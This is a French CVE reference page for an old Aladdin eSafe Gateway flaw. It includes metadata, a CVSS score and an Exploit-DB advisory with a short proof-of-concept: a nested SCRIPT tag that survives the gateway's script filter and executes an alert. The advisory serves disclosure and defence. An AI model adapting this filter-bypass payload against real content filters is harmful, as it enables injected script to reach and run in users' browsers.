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Descriptions du CVE
Aladdin eSafe Gateway versions 3.0 and earlier allows a remote attacker to circumvent filtering of SCRIPT tags by embedding the scripts within certain HTML tags including (1) onload in the BODY tag, (2) href in the A tag, (3) the BUTTON tag, (4) the INPUT tag, or (5) any other tag in which scripts can be defined.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 20869
Date de publication : 2001-05-19 22h00 +00:00
Auteur : eDvice Security Services
EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/2750/info
eSafe Gateway is a security utility used for filtering internet content.
An html file may be crafted to bypass the script-filtering feature offered by eSafe Gateway. This is done by simply changing the syntax of the <SCRIPT> function in such a way as to trick the filter into generating html that still includes a call to execute the script.
Note: There are currently conflicting details regarding this vulnerability. It has been reported that version 3.0 of eSafe Gateway is not vulnerable. The author of the advisory insists that versions 2.x are vulnerable, while the vendor claims that script filtering was not a feature in these versions. Forthcoming updates will be released as more information becomes available.
Details
----------------------
Let's say for example that we want the following HTML code to enter an
organization and the script it contains to be executed:
<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="JavaScript">
alert("hi");
</SCRIPT>
</BODY></HTML>
If we run this page through eSafe's filtering engine, the script will be
filtered and the resulting with the following HTML code:
<HTML><HEAD></HEAD>
<BODY>
</BODY></HTML>
However, if we create the following code:
<HTML><HEAD></HEAD>
<BODY>
<SCRIPT<script language="javascript"> </script> language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>
Then the inner "<script language="javascript"> </script>" will be extracted
and we will be left with the following HTML code:
<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>
Products Mentioned
Configuraton 0
Aladdin_knowledge_systems>>Esafe_gateway >> Version 3.0
Références
http://archives.neohapsis.com/archives/bugtraq/2001-05/0284.html
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
